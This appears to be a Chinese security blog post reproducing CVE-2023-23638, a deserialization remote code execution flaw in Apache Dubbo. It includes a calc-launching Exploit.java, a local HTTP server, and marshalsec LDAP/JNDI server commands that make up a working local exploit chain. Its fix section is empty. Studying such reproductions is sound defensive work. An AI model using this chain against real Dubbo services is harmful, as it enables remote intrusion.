关注我们❤️,添加星标🌟,一起学安全!
作者:lyc@Timeline Sec
本文字数:707
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Apache Dubbo 是一款开源的一个高性能的 Java RPC 框架,致力于提供高性能透明化的 RPC 远程服务调用方案,常用于开发微服务和分布式架构相关的需求。
0x02 漏洞概述
漏洞编号:CVE-2023-23638
Apache Dubbo Provider 默认使用 Hession 反序列化机制与 Consumer 进行通信。本漏洞通过动态修改 Dubbo Configuration 启用 JavaNative,然后利用 Hession 反序列化触发特定 Gadget ,最终导致远程代码执行。
0x03 影响版本
Apache Dubbo 2.7.x <= 2.7.21
Apache Dubbo 3.0.x <= 3.0.13
Apache Dubbo 3.1.x <= 3.1.5
0x04 环境搭建
1、下载zookeeper
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir
2、双击bin目录下的zkServer.cmd,启动zookeeper
3、下载测试Demo及POC: https://github.com/lz2y/DubboPOC 4、启动Provider
0x05 漏洞复现
1、下载marshalsec并编译得到jar包
git clone https://github.com/mbechler/marshalsec
mvn clean package –DskipTests
2、创建Exploit.java文件
public class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac 得到Exploit.class 3、在Exploit.class目录下开启http服务
python -m http.server 8000
4、使用marshalsec开启JNDI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087
5、打开 src\main\java\top\lz2y\vul\CVE202130179.java 修改接口名及其方法,替换ldap uri 填写Dubbo服务的ip以及端口号
0x06 修复方式
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!